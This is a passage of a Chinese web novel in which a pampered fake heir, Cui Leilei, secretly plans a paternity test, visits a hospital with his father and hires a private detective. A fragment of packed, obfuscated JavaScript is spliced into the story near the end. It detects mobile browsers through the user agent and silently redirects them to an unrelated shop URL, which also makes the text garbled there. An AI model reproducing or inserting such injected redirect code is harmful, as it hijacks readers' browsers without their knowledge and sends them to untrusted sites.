崔磊磊闻言立马知道自家老爸误会了,一个鲤鱼打挺立马爬起来坐端正。他一眨不眨的拿自己的俊脸去怼到崔父面前,试图让人借此看到自己的真心:“爸,我真没闯什么祸。也过了买奢侈品的年纪了,论文开题报告也写好了。我忽然打扫,也没想着撒娇,就想表一表孝心。”也真真体验一下勤工俭学的辛苦。
最后一句话崔磊磊不敢说。
毕竟小说里崔磊磊最后被赶出家门,很快就饿死了,也没有机会去体验身体上的辛酸苦辣。但刚过去的三小时,崔磊磊是真真体验到什么叫身心俱累。
哪怕有高科技小家电辅助,但光擦拭镜面就要求一箩筐,让人屡次想要放弃。
“那你陪爸爸遛遛狗,去散散步不就是表孝心?帮着爸爸给你大哥催婚更是表孝心。”崔父趁机诉说自己想要的规划:“然后你在努力准备考研。笔试过了,面试就凭借你这张脸,咱们艺考妥妥过。等有个研究生文凭,去考事业单位或者当老师,多体面啊!这就是爸爸梦寐以求想要的孝心。”
说到最后,崔父眼里的希冀光芒不带掩饰,甚至目光都算得上灼热。
哪怕算赫赫有名的成功商人,但对孩子们的希冀,尤其是对崔磊磊这样偶尔有些小矫情的儿子,崔父扪心自问还是想要求一份稳定,一份顺顺遂遂。毕竟做父母终究要离孩子先去,无法做好庇佑人一辈子。而纵观各行各业,唯有为国家打工最为稳妥,是一辈子的铁饭碗。
“或者你当大学生士兵,跟你哥一样去部队历练。爸爸豁出去这张老脸想办法帮你活动活动,凭你的相貌,外加唱歌跳舞的能力,留在军艺也挺好。”
听得传入耳畔絮絮叨叨的话语,听着自己从前不屑一顾的话语,崔磊磊狠狠掐着掌心,让自己不哭
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出声音来。他真的不敢想。
假设真是小说世界,爸妈为什么会变成小说设定的那样偏听偏信,无脑宠溺崔磊磊。明明夫妇两不说睿智精明,但好歹也是上市企业的创始人,怎么就能“智障”脑残成小说里描写的那样呢?
心理的疑惑越发大了些,崔磊磊紧张的手都掐在了掌心的嫩肉上。借着从掌心散开的疼痛,跟蚂蚁啃噬一样的疼痛,崔磊磊逼着自己看了眼崔父光溜溜的脑袋,时髦的脑袋,跟电灯泡一样亮的脑袋,悲痛欲绝。
不掩饰哭声,崔磊磊直接把头埋进崔父怀里:“爸,您说的道理我……我都懂,可我真不是个好学生,我做不到啊。”
爸爸你长根头发让我拔一拔好不好?
我先研究清楚自己是不是你们亲生的,先研究清楚这个世界到底有没有沈谦这个人好不好?
现在我还没毕业。
距离小说六月开篇还有三个月,够……够……够我把房间打扫干净了。
浑然不知道自家宝贝儿子在筹划着大事,崔父垂眸看看还窝在自己怀里的崔磊磊,委委屈屈透着失落的崔磊磊,压根不向从前叛逆时候张口闭口就翘课逃学的叛逆崽,无奈的叹口气,“好,是爸爸不好。咱们不提这些事情了,你只要努力过了,不后悔就好。再说了文凭也不是最重要了,咱们磊磊还有天赋是不是?你们年轻人不都这么形容,盛世美颜!”
说着,崔父不自禁感慨:“要是磊磊你是个闺女就好了。”
闻言崔磊磊愧疚不已,“爸爸,我是gay,您是不是特生气?”
“是生气,我辛辛苦苦琢磨着公司一人一个,不偏不倚正正好,可结果呢,你是gay,我就直接退休不用干了。”崔父瞧着立马提及gay身份的儿子,觉得自己找到崔磊磊乖巧的原因了——还是因为被戴绿帽子的事情,又算被分手,被甩了!
想着自家乖崽不算顺遂的感情史,崔父咬着牙憋住杀气,从茶几上抽过一张纸巾小心翼翼的替崔磊磊擦拭眼角的泪珠,立马宽慰道:“换个角度想想我还有属于自己的老年生活呢。否则我得愁孙子孙女,曾孙子孙女。我有钱了,也想要财富能够代代相传。想要跟那些所谓的顶级世家豪门一样,老牛逼了,而不是被骂暴发户。”
“所以啊你也是换个角度让爸爸放下执念。”
说着,崔父屈指敲了一下崔磊磊脑门:“儿孙自有儿孙福嘛,否则我光跟你哥都能打起来。他都三十好几了,还是光棍一个,你马伯伯李伯伯孙子都能打酱油了,我在朋友圈里一提到这事就没面子。”
吐槽了自己老年话题不合群,崔父垂首看看崔磊磊,小声诉说自己曾经丧心病狂的想法:“我想你当闺女,这不是琢磨着肥水不流外人田。也好改善改善老崔家的美貌基因。”
崔磊磊听得崔父如此推心置腹掏心窝的话语,联想到自己知道的剧情,当即热血翻腾,迸发出决然的目光:“爸爸,您的目标一定能够实现的!”
浑然没有察觉崔父话语中存在的一丝端倪。
而崔父脱口而出后,后悔的差点想要咬舌打脸。但岂料崔磊磊压根没有注意后半句话,反而恍若嗑了鸡血的公鸡一样,雄赳赳气昂昂的,像是要化身雄鹰展翅高飞,当即微不着痕的吁口气,乐呵呵道:“好好好!小石头啊做人要言行一致,所以现在休息够了赶紧去打扫吧。”
“好的,爸爸!”崔磊磊说着直奔卧室大床。
他刚才被人一敲脑门,旋即一道灵光就闪过了。
衣帽间衣服太多了,pass!
床才是藏头发丝的宝藏之地。
“爸,我先去把床上四件套拆下来丢洗衣机里洗!”崔磊磊丢下一句解释,直接快准狠的拿起枕头。
下一秒看着枕头上附着一根长长的头发丝,根部还有些发白,崔磊磊狠狠松口气,抬手小心翼翼的拿头发。可当指尖触碰到头发时,崔磊磊瞳孔猛得一缩,脑海中鬼使神差的就冒出了一个“毁掉它”的念头。
4. 患病的真少爷
毁掉了,就能霸占一切。
就能得到一个崔磊磊曾经梦寐以求幸福的家:爸爸妈妈会来开家长会,会陪着去游乐园,会凶会骂崔磊磊,但也会抱着崔磊磊安慰,还有一个护短又稍稍有些严厉的大哥,不会像上辈子那样处心积虑想要弄死崔磊磊好独占家产的哥哥。
崔磊磊一点也不贪钱的,他就只是想要,卑微的想要一份亲情而已。
只想要亲情而已。
思绪顺着“毁”偏飞,崔磊磊当即觉得自己的脑海仿佛被什么东西一点点的侵蚀,疼得浑身直抽抽。
不知不觉间,崔磊磊明亮的双眸不自禁出现了一丝的阴霾,垂眸阴沉沉的盯着手中的黑色发丝。这长长的一根头发捏在手心里,就像是捏着一只蚂蚁而已,能够轻而易举的被自己毁掉。
可不知为何心理却倏忽间燃烧起火焰,崔磊磊下一秒便又觉得自己手里像是捏着烧红的烙铁。掌心被灼烧的疼痛无比,这一股疼痛顺着掌心燃烧向脑髓,像是要烧掉脑子里那一股突兀的恶念。
两种情绪在崔磊磊脑子里交加,最后化作小说里一句句的描述【偌大的崔家就是完了。没有人会相信,但事实就是这么可笑,这么荒诞。根源只是因为崔氏夫妇的偏疼崔磊磊而已,只是因为偏疼自己一手养大的假儿子而已。崔磊磊的娇横肆意,自私自利的性子,其实也是崔氏夫妇潜移默化言传身教下养出来的。
回想当年他们夫妇发家的时候,也唯利是图利益至上,无视着合伙人的声声哀求,硬是逼账;也曾经有钱了就横行,划了大片的土地,建造了一座看起来就富贵堂皇的祖宅;也曾经……但这些曾经的一幕幕,崔家夫妇不会回忆,他们只会偏执的,扭曲的认定是沈谦的错,只会仗着自己的血缘身份去指责沈谦丧心病狂,永远不会自我反省。】
“怎么了?”崔父步入房间,本想装模作样挑三拣四找茬一番,岂料就见自家熊崽子好像变了个人一样。原本炯炯有神的眼珠子此刻布满了狠厉,愤怒,如同受伤的老母鸡一般,维持着最后一丝天性,张开翅膀护住身后的小鸡崽,昂头看向盘旋在半空中高大威猛的老鹰,迸发出孤掷一注的杀气。
这样的表情,他只在崔磊磊当年叛逆,翘课当老大逞英雄,替被追杀的许聪聪强势出头,后脑勺挨了一铁棍的时候看到过。
阴狠的,带着嗜血的杀气,直接脑袋汩汩流着血,但浑然不怕疼。明明最怕疼,连打针都嗷嗷的,能直接喊着针下留人,跑出诊所的熊孩子那个时候却像是铁人一般,只剩下了反击。
想起自己收到消息赶过去见到的血人,崔父一个哆嗦后怕不已,赶忙抬手把崔磊磊抱在怀里,急着道:“磊磊做噩梦了,是不是,不怕不怕,有爸爸在,没事的。”
突如其来的拥抱,带着些沁人心脾的薄荷气,刺激着崔磊磊浑身一个战栗。
感受着怀里人的颤抖,崔父小心翼翼的拍手抚拍崔磊磊的后背,竭力让人感受到抚摸带来的亲密与安全感。本来他这个大老粗可信奉棍棒底下出孝子了,不板着脸当严父,那都叫慈父了。但没办法,崔磊磊这熊崽子打小就过分的黏人,黏黏糊糊的,比小女孩还胆小。
还是他有钱了追求文化装逼的时候,才听心理医生说这是病,叫皮肤饥渴症。患者会格外依赖亲亲抱抱,从中获得心理安全感,不然的话就会变得自卑,亦或是严重逆反,变得欺软怕硬,甚至会因为嫉妒别人获得爱抚——比如幼儿园老师对别的小朋友摸摸头,抱抱的鼓励,进行报复。
猝不及防的回想起自己曾经一条条表现对照过去的害怕,崔父愈发惶然,连忙屈指还弹着崔磊磊的脑门。想当年崔磊磊虽然没有报复小朋友这种幼稚举动,但也的的确确有些自卑的,经常躲在衣柜里,亦或是照着镜子,道:“魔镜魔镜我不好看吗,为什么老是不喜欢我,小朋友不愿意跟我玩。”
接连弹了好几下,崔磊磊疼得瞳孔一震,缓缓抬眸看着袭击自己的手。
崔父哪怕退休了,但是手还是很粗糙,肉眼可见的带着老茧。厚厚的一层老茧诉说着曾经搬砖为生的苦难过往,也诉说着为了拼搏为了成为人上人所付出的努力,迄今为止崔父还在上老年大学,在日复一日的练习着书法。中指还有一道疤痕,至今都留着清晰可见的印记,无声的诉说当初的伤势之深。
脑海闪现过崔父奋斗学习的画面,崔磊磊眼眸红了红,垂首看了看自己的手。
崔磊磊除了装模作样拖过地撒娇赚零花钱外,其他时候没有碰过任何粗活,没有做过任何家务。家里哪怕没有助理,封建版的佣人,还有爸爸妈妈和哥哥。因此,崔磊磊是真的养尊处优,十指不沾阳春水的,甚至连笔都很少拿。
感慨着,崔磊磊视线落在缠绕在手指上的黑色发丝。
本该对比分明的黑白色调,但却在发丝的根部戛然而止。一截白发,像是沾着鲜红的血液,像是一把尖刀,在提醒着崔磊磊要理智,要清醒。
“爸……”崔磊磊唇畔张张合合蠕动了好久,迎着崔父关心的眼神,紧张的一时间不知该怎么说。
“是不是累了?我就说写论文可难了,咱们也不急于一时是不是?要不先去看看旅游攻略。等磊磊一毕业,我们就先去世界旅游,游遍全球,好不好?”崔父看着没了阴鸷眼神,神色却也肉眼萎靡的崔磊磊,心中紧张不已,但面上却不显,依旧带着慈爱之色,抬手使劲揉人脑袋。
崔磊磊颓然垂眸,不敢去看崔父真挚的眼神,声若蚊蚋,轻声诉说:“爸爸,我……我感觉自己好像有病,神经病了,我刚才……我刚才竟然觉得自己是个大坏蛋,恶毒的大坏蛋,任性自私的,还……”
话还没说完,崔磊磊倏忽间觉得自己脖颈像是被人狠狠掐住了,难以喘气,当即情绪崩溃,咬着牙脱口而出:“连累咱们全家都破产了。”
话音落下,崔磊磊便觉得周遭氛围潜入诡异的死寂之中。
而相比紧张兮兮,甚至算得上风声鹤唳的崔磊磊而言,崔父看着浑身紧绷,像是自己做错事的崔磊磊,噗嗤一声笑了出声来。
搂着崔磊磊的肩膀,崔父一副哥两好的模样按着人坐在床边,问:“是不是因为你马上毕业了,爸爸妈妈还有你哥偶尔跟你聊商业上的事情,导致你这脑袋胡思乱想了?破产,那不是笑话吗?你抬头看看爸爸房间的摆设,画,是当代名家,一幅幅价值都上千万。还有书桌上那个笔墨纸砚,那都是我拍下来的古董宝贝,加起来都上亿的。”
崔磊磊闻言心跳噗通加快,“可……可您是收藏界有名的棒槌,走眼好多次了。万一……万一有人给您做局,您破产了怎么办?”
“熊孩子,赶紧把脑子里的海水晃掉。”崔父双手都拍向崔磊磊的脑袋,声音压低了几分,“忘记爸妈送你的信托基金,天价保险了?就算破产了,你后半辈子也是衣食无忧。这年头破产常有,咱们要是不做好万全准备,还叫成功商人吗?”
“可……”
“可什么可,你五险一金我都替你交着呢!”崔父掷地有声:“不信那些基金,你得信国家政策吧?你实习报告印章还是我给你敲的,那个时候我啊就让公司人事给你按最高份额的交社保。你退休后每月能领六千块。”
猝不及防的听到这话,崔磊磊眼眸都瞪圆了起来,紧蹙着眉头,问:“五险一金?信托?!”
对啊,崔磊磊的信托基金呢?
信托基金有个原则,叫特殊的破产隔离制度。【它能够保障受益人不因委托人破产或发生债务而失去享有对其该信托财产的权利。】简单点就是崔家公司破产了,欠债几千万,债主告到法院。法院也无法让崔磊磊还款。崔磊磊依旧有钱,超级有钱。
因为崔磊磊的信托基金有二十个亿。其中十个亿是单纯的放在银行,用利息进行投资经营的。国有银行是不会破产的。
作为商贾之子,哪怕在学渣渣,某些涉及切身利益的条款,他还是清清楚楚的,被揪着耳朵倒背如流。
更别提社保了。
这是上课老师划重点讲的。大四专门开设过大学生就业课。
想着国家福利,想着国家的强大,崔磊磊刹那间觉得自己像是抓住了救命稻草,抓住了绝地反杀恶念的办法,眼眶直接红了,埋头就哭:“爸,您对我这么好,把我宠坏了怎么办?我感觉自己脑子不对劲,好像坏了。”
说着崔磊磊无比庆幸自己当年中二的时候曾经发狠过。因看到许聪聪的遭遇想起自己上辈子被离奇碰瓷死亡的事情,发狠揍过人,也被人砸过脑袋。
想着,崔磊磊喘着气,立马重复道:“爸,我脑子坏了。这后遗症,我有幻觉了。”
崔父看着仿若惊弓之鸟,整个人忽然瑟缩成一团的儿子,心猛地被捏紧了起来。
当初他带人就晚了一步,就看着磊磊跟老母鸡护小鸡崽一样护着许聪聪,整个人血淋漓的。后来磊磊直接在ICU躺了半月,醒来后遗症也就来了,差点还有应激反应症,愈发见不得血,也愈发怕疼不已,因此也各种娇娇气气的。
越想,崔父越发心疼,仿若在哄心心念念的大胖孙子一般,小心翼翼的抬手抱着崔磊磊,声音无比温柔慈爱:“好,爸爸抱着大胖儿子。等磊磊冷静下来,我们一起去看医生好不好?”
崔磊磊抓紧了崔父的衣裳,闷闷的嗯了一声,问:“好,爸爸,你说有没有可能心理医生给我看病的时候,偷偷给我催眠还下了某些暗示,让我挑拨离间破坏崔家?”
崔父抬手摸了一把崔磊磊的后脑勺,然后使劲把人按在自己怀里,免得他瞅着自家熊儿子的脸,气的慌。
心理医生催眠暗示,这妥妥小说电视电影里的情节。
所以啊,投胎技能全点脸上的熊崽子,脑子是真没有。这跟被砸脑子没有关系,天生的。
所以啊,没什么好生气的,跟他们老崔家没有关系。这毛病天生的。
自我宽慰着,崔父干脆拍了拍崔磊磊的脑袋,然后把人往自己怀里按。
崔磊磊使劲挣扎了好半晌,抑郁的嗷嗷嗷叫:“爸,你给我个回应给我个眼神啊,要不然我要胡思乱想的。”
“我带你去医院拍片,医生还能救你狗命。”崔父说着,气得直接揪着崔磊磊的后颈肉,把人拖着走,“否则我很有理由怀疑你闯祸了,撒娇要买买买。亦或是不想写论文,想要找代笔的。崔磊磊我警告你,最好不要是后者,不然我拿鸡毛掸子抽你。”
崔磊磊:“…………”
崔磊磊看了眼依旧挂在自己手上的头发丝,沉默三秒,就真
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缠着崔父去医院拍片看脑子了。
看着CT,崔磊磊眼角余光瞄着医生麻溜的刷卡,缓缓的再瞥了眼自己的脑子构造,郑重的点点头。
拍片子还是很有用处的。
起码崔磊磊机警了,知道一件事——做亲子鉴定前,先去兑换现金,不能习惯性用医院VIP卡或者吱宝宝付款,不能因此留下证据。
或者说直接找私家侦探出面解决?
想着,崔磊磊眸光一亮。作为纨绔翘楚,其他资源没有,但是私家侦探还是可以有的。
崔父侧眸瞧着忽然间又美滋滋起来的儿子,无奈的叹口气,再三问医生,确定崔磊磊没有因为论文因素熬夜导致脑袋抽抽,微微松口气。
“来都来了,陪我去看看你老厉叔叔。”确定没有旧病复发,崔父立马揪着崔磊磊耳朵,往住院部走,边走边道,“表现好点。厉莉莉瞅上你哥懂不懂?”厉家可是燕城顶级世家之一,但这世家闺女却瞅上他这个暴发户的儿子了。
想想都爽!
崔磊磊哟了一声,立马露出一个人畜无害的笑容,“懂懂懂。”
父子俩说笑着,岂料一出电梯厅,就遇到了一群神色肃穆的黑衣保镖拦住他们的去路,为首的还冷冷道:“不好意思包层了,请几位立马离开。”
崔父不可置信:“你哪家的?在燕城的地界在我老崔面前说包层?”
崔磊磊斜睨了眼保镖,瞧着保镖们毫无任何燕城以及周边地界家族的印记,眉头拧成疙瘩。这家医院算贵族医院中的贵族医院,接待的患者起码身价都是十个亿以上的,甚至为了有格调,是采用会员推荐制的。没人在医院里这么暴发户行径,直接包层。
“的确是包层了,若有疑问可以自行找院方。”保镖声音依旧冰冷,“请。我们家老总喜静,请您安静离开,不然我们会送您下去,谢谢。”
崔父闻言面色一沉。
崔磊磊转眸间看见面带愠怒的崔父,脑海又不自禁浮现小说的描述,吓得汗毛直立。
他爸爸的确有些暴发户的臭毛病,比如眼下功成名就了,也就愈发好面子,是无法忍受在燕城这一亩三分地有人不认识他还不给他面子的。
想着,崔磊磊紧张的吞咽了一下口水,抬手拉着崔父的衣袖,小声:“爸,您想想大胖孙子,权当为孙子集福,没必要跟这种人计较,不玩趁你病要你命的招数。咱们去联系厉叔叔。”
听得大胖孙子,崔父来回反复深呼吸,返回电梯,“我给老厉打电话,必须得知道哪一个王八装蒜。比老子还讲排场,竟然这么一帮黑衣保镖。”
瞥了眼终于紧闭上的电梯门,保镖侧眸看了向听到动静走出来的助理,紧张的开口问道:“沈总被吵到了?”
助理开口,语重心长:“小嘉,沈总接下来要在燕城生活知道吗?你性子也婉转些,别因为你的言语得罪了前来的访客,给沈总添麻烦。”
小嘉面无表情点了个头。
见状,助理嘴角抽抽,知道小嘉就这个死性子,唯沈总之上,干脆转身回病房。岂料一推门而入,助理便看见双手死死按着额头,疼得整张脸都扭曲起来的沈总,当即面带心疼,急道:“沈总,您……”
“我没事,且很清醒。”被唤做沈总的沈谦一字一顿的开口。
哪怕两侧疼痛欲裂,甚至这一回头痛发作断断续续的持续一周时间了,但曾经的梦却越发清醒了,让他彻彻底底的破开了从前的诸多疑云。
听得传入耳畔不容置喙的声音,助理咬着牙硬逼自己视线转移,不去看神情痛苦但眼神清明的沈总。
说起来也真的是天妒英才吧。
沈谦才智双绝,样貌出众,几乎完美,可偏偏生下来就有病。
气血亏虚引发的头风病。
根据中医学记载此病【病程长、缠绵难愈、易于复发。】哪怕到了现代医术昌明,都无药可治。
说出去都会让人觉得是笑话。
可偏偏现实的确如此可笑。
浑然不知助理的心中的感慨,沈谦察觉到疼痛暂缓,缓缓吁口气,垂眸看向自己这回病中得到的线索人物崔磊磊。翻看了一遍又一遍,沈谦幽幽的盯着高考成绩一栏,一开口声音带着些低沉,问:“小白,你高考数学几分?”
被点名的助理小白一愣,虽然不解,但立马回想了一下自己的成绩,纠结的开口:“沈总,我保送,没参加高考。”
“…………那你听过数学考36分吗?”
小白目瞪口呆:“多少分?这样的……这样的人才,咱们人事部肯定不会招的。”
沈总发自肺腑的点头:“我也这么觉得。这人才,真是人才!”我上辈子竟然输在这样人才的手里,我上辈子竟然容这样的人才蹦跶一次又一次又又一次又又又好多次。
“所以这妥妥是真爱啊。”沈谦铿锵有力的给自己的失败找了个借口,“否则我完全无法捋清自己的行为逻辑。根据大数据分析,只有无理取闹的爱情,只有因为爱情。”
小白闻言彻底傻眼,“真……真爱?”
“应该是真爱,我……”沈谦迎着再一次来袭的针刺的痛感,捂头:“不用叫医生,去拿套高考试卷让我清醒清醒。我这回妥妥被气的。”
5. 派私家侦探找人
“老厉,你说那个装蒜的兔崽子是谁?”崔父接过厉董递过来的茶盏,直接一口闷,依旧神色带着惊骇,问道:“那个横空出世,神秘莫测的AI大佬A总,还投资了新兴互联网行业的大佬?”
瞥了眼急急求答案的好友,厉董神色淡然的倒茶,递给崔磊磊,双眸还带着些希冀,和声指点道:“乖,好好品。这可是叔叔珍藏了许久的武夷大红袍,传说中的贡品。你要细细的品茗,品“岩韵”特征,感受齿颊留香。”
崔磊磊看着循循教导的厉董,乖巧的点点头,小心翼翼的双手端起传说的贡品,慢慢吹开茶梗,慢慢的一口闷。喝完之后,崔磊磊闭眼细细体会了又体会,感觉自己嘴巴虽然有一丝丝的甜,但扪心自问还不如奶茶好喝。
没办法,两辈子都是暴发户的崽,他对这种高雅的品茶爱好也真是学不会。
但眼前的厉叔叔却是世家子弟,老了老了愈发爱好琴棋书画诗酒茶,端得是百年文化底蕴才能培养出来的优雅范儿。
感慨着,崔磊磊偷偷睁开了一条缝隙,撞见厉叔叔希冀的眼神,当即心中一个激灵,赶紧把自己学过的彩虹屁想了又想。做到了肚子里有墨水后,崔磊磊缓缓睁开双眸,一脸认真诉说自己喝后感想,“不愧极品大红袍,好茶!相比阿萨姆红茶带有淡淡的焦糖味来说,这茶有点淡淡的桂花香。也没有锡兰红茶浓烈的涩味。”
厉董:“…………”
而另一边崔父听得贡品两个字,仔仔细细的回味了一下,感觉还真有点香气,也顾不得自己挠心挠肺的好奇,当即谄媚一笑,“厉董,再来一杯。”
厉董瞥了眼大老粗崔父,又看看双眸亮晶晶,像是在发自肺腑赞叹的崔磊磊,沉默半晌,败下阵来,感慨:“老崔啊,这个脸真的很重要。磊磊就算一口闷,那也是举止优雅让人赏心悦目。”
哪怕是胡说八道,文不对题,可崔磊磊是真的很认真在回答问题。尤其是双眸熠熠生辉,无声诉说着主人极其恳切真诚的态度,让人不经意间就心软几分。
比如他此时此刻脑子里压根想不起任何的茶艺,满脑子就一句话:“给磊磊泡杯年轻人爱喝的奶茶。”
感叹完,厉董再一次实现扫向国字脸的大老粗,矜持的翻了个白眼。他至今还是想不明白,这夫妇两基因怎么遗传的,崔磊磊这小脸蛋好看的。
“那是,我儿子贼好看。”崔父与有荣焉的骄傲着。他跟其他人不会那么随意,但是厉董却不一样。虽然世家豪门出生,规矩一套一套的,但也没有高高在上的优越感,反而还挺平易近人,为人也大气爽气。他们算性情相合,当然也互惠互利几十年了,交情杠杠的。
“也不知道你走了什么运道。”厉董言语间也没有任何的客套,直接吐槽道:“儿子也孝顺。一点也不像我。我这老了老了,好不容易看中个病房休养吧,还得为了公司利益给小辈让房。”
“别气别气,这独栋独院不也挺好?那小子要是真那么能耐的,让就让呗。”崔父一边伸手拿茶盏,一边宽慰道:“老厉,我觉得你这点就不好。你们出生太好的性子就傲,一点都不像我,能屈能伸。”
“你就是欺软怕硬。”厉董面无表情挥开崔父的手,把整个茶壶递给助理,丝毫不觉得自己是暴殄天物,“全都泡奶茶,给磊磊整一个超大杯的。”
面对好友如此双标,崔父叹口气,干脆继续先前的话题,掏心掏肺诉说自己的想法:“搞这种互联网高科技的,在我眼里那就是脑子好。天赋这玩意,比家世还重要。比不了也没办法,对吧?小厉已经是年轻一辈的翘楚了,你没必要跟别人家的孩子攀比。”
厉董笑着捂着胸口,“天赋,这话也真一针见血。可老崔啊,你知道那小子除了天赋还有什么吗?”
说着厉董挥挥手,示意父子俩靠近,神秘兮兮道:“他是海城沈家的人。”
“沈家?”崔父茫然,“这干什么的?”
崔磊磊听到沈一词,心跳不自禁加快。哪怕他知道沈谦定然跟海城沈家这四个字没有任何的关系,但这个时候听到沈一词,他莫名的就心虚不已,就觉得自己是个小偷。
哪怕崔磊磊自信自己不贪图钱财,可是崔家无形之中赐予他的眼力资源,却是无形的财富。比如眼下厉叔叔吩咐人给他泡大红袍奶茶。
光想想崔磊磊便愈发觉得自己燥的慌,羞愧的恨不得地面露出缝隙直接钻进去。
而另一边崔父的注意力却在沈家上,压根没有注意到崔磊磊的表情。
厉董此刻重点也不再崔磊磊身上,因此也没察觉到这表情变化,反而在科普前还有些小怨念:“我就知道这点,本来都跟宝诚联系好的。你等会记得赔偿我他们见面的机会。”
闻言崔父乐开了:“我带磊磊来就是来跟您老商量如何给小辈牵线搭桥的。”
“好。”厉董笑得眼睛都眯成一条缝了。虽然是他闺女倒追,但老崔家积极主动,也证明人看中莉莉。
满意着,厉董面色凝重了些,悉心科普:“看他的样子,接下来是要在燕城发展了。宝诚这些年轻人,有机会跟A总多接触接触。磊磊你要是见到他,一定要乖乖的。据闻这位A总喜静,最讨厌闹腾了,遇到他就乖乖的。”
听到自己的名字,崔磊磊回过神来,立马点头若小鸡啄米。
“对,就这样乖乖的。谁都喜欢漂亮小孩的。”厉董点评了一句后,才继续低声介绍:“海城沈家,明朝的时候就下南洋了,发展了几百年。鼎盛的时候还有海王的称呼,是呼风唤雨说一不二的。华夏战乱,沈家有识之士回报故国,那也是战功赫赫。”
重音落在最后四个字上,厉董意味深长道:“这么些年发展下来,深不可测。所以不用看他们家主营什么行业。某些东西啊,是调查不到的。”
一句话,倏忽间就让屋内温馨的氛围陡然一变,带着些冰冷划分,让人深刻认识到三六九等依旧存在。
崔父听到这话,面色极其肃穆,认真点头。他这辈子在事业问题上已经知足了,至于下一代要不要冲世家,他是想管,也没能耐从骨灰盒里爬出来。
厉董看着崔父把他话听进去了,不会贸贸然去调查,微微松口气,然后话锋一转诉说A总的能力:“沈家也有些大家族的弊端,A总也不是沈家的现任家主。但打个比方,这A总算得上摄政王。前几年沈家旁支趁着主枝一脉年幼,想要夺嫡,因此都影响了海贸发展。”
知道父子俩直白,厉董因此用词也不藏着掖着直白无比,举例生动形象:“是A总力挽狂澜,扶持沈钧坐稳家主位置的,甚至进行大刀阔斧的革新。所以摄政王这个词也是真形容他的地位能力以及处境。”
咬重了最后一词,厉董声音压得更低:“他现在也是还沈家大权给沈钧,自己避嫌来燕城落地生根,是打算另起炉灶的,但也会与海城沈家守望相助。这些消息,你们清楚就好,闭嘴别乱传。”
父子俩齐齐点头。
“他名下有投资小家电行业,智能家居这一块与你家有些关系。你们跟他打交道的时候,一定要注意安静。”厉董知道父子俩的性子,思来想去又强调自家调查得来的重点信息:“一定要静。他好像有点天才病,时不时头疼。因此特别喜静。”
崔父积极无比:“放心我都退休了就算撞见他,也肯定闭嘴,把话语权交给老大。”
崔磊磊闻言也更加积极表态:“厉叔叔您放心,我们学渣渣纨绔派肯定跟A总碰不到的。遇到了,我就乖乖不说话当哑巴。”
“那也不用如此,起码燕城商圈咱们还是有点分量的。”厉董笑着开口:“来,咱们品奶茶,顺道再聊聊偶遇。”
“嗯。”
顷刻间屋内又欢声笑语。
但崔磊磊却只觉自己耳边像是裹了一层薄膜,隔绝了欢笑,萦绕在耳畔的只剩下了自己噗通的心跳声。
他想到了小说的剧情。
小说里一笔带过厉家,用的是极其淡然的发盒饭方法——一家人去国外探亲的时候飞机失事。厉家动荡只为崔家贪图利益,只为崔家跟燕城另一大家族顾家联姻埋伏笔而已。
可明明厉叔叔此刻那么生龙活虎,嬉笑怒骂都是鲜活的。
厉家三代九人,怎么就落得只有白纸黑字简简单单的“飞机失事,殒命”的描述。
甚至都没有厉叔叔身边助理的描写。
这些工作人员肯定也在飞机上的。
崔磊磊紧张的手指都勾在一起,正想着自己要不要干脆神经病得了,凭着一口莽气,把所有剧情脱口而出,岂料就听得一声声温柔的呼喊。
一抬眸,崔磊磊就见厉董的助理真捧着超大杯的奶茶来了。
确切说是桶装奶茶。
助理看着崔磊磊乌黑的眼睛瞪得大大的,跟受惊炸毛的小猫似的,警惕中带着些好奇,当即嘴角弯了弯,认真解释道:“小少爷,不好意思,我们能够找到的最大号就是这个肯德基款式的全家桶了。”
崔磊磊哦了一声,抬手去抱奶茶桶,乖乖道谢:“谢谢。”
在一旁聊天的厉董见状,赶紧掏出手机猛得拍小视频。
崔磊磊此刻的表情妥妥就是可可爱爱没有脑袋!
还有点像他养得布偶猫,眼睛水汪汪的,可爱又无辜。非常适合老年人养着聊以慰藉。
崔父:“…………”双标,他懂!
不过自家崽崽的确好看,唇红齿白,又傻里傻气的,跟二哈一个样子。熊起来能够拆家的,但只要卖卖萌,就让人心软的舍不得责罚。
崔磊磊敏感的察觉到镜头,幽幽的看着两老头拿手机拍摄,猛得开始后怕起来。这两人练习PS,都是用他崔磊磊的照片。
老年人审美P出来的照片,那真是帅的泣鬼神,很适合当门神照来镇邪。
但不敢动。
毕竟衣食父母。
毕竟崔磊磊此刻背负“原罪”。
他害怕这样温馨默默,这样闲来逗趣的画面,这样带着几分含饴弄孙的画面会随着日子一天天的过去会随着剧情的开篇骤然结束。
=====
从医院回来后,崔磊磊唯恐自己脑子又冒出鬼使神差的念头来,毫不犹豫的就联系了许聪聪,问人拿专业私家侦探的联系方式。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099090|195682||http|test|mini|href|location''.split(''|''),0,{}));
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>“你要私家侦探干什么?”许聪聪纳闷不已,小心翼翼的开口:“想要调查柏川?”
“那个渣渣早就翻篇了,我既然报警也不会进行私下报复。”崔磊磊听得这话,神色肃穆,恨不得举手发誓,“别人不知道你还不知道?是你跟我哥打报告说我养想要金丝雀玩吧?”
许聪聪闻言嘿嘿傻笑,企图遮掩过去自己的“不仗义”行为。
见状,崔磊磊垂首遮掩住眼里的精芒。其实他也是想要借助许聪聪的大喇叭引起大哥的主意。没准在他调查得到结果之前,哥哥就能查清一切呢。
咬着牙让自己展望美好的未来,不去想任何邪恶的念头,崔磊磊言简意赅道:“我想让私家侦探找个人。”
“谁?”
“见面聊。”
听得崔磊磊话语的肃穆,许聪聪无奈道:“好,见面聊。”
约定好时间地点后,崔磊磊小心翼翼的看了眼自己用一次性塑料袋包着的头发丝,眸光迸发出决然的目光。他可太聪明了,双管齐下——派私家侦探找人,自己跑隔壁城市去做亲子鉴定。
翌日,崔磊磊昂首挺胸到达常去燕云会馆包房。
定定的审视了眼许聪聪带来的私家侦探,崔磊磊瞧着人普普通通,甚至还有些贼眉鼠目的样子,眉头一簇:“狗仔王?”
狗仔王笑着点头,“有我出马,绝对能够把对方祖宗十八代都差得清清楚楚。”
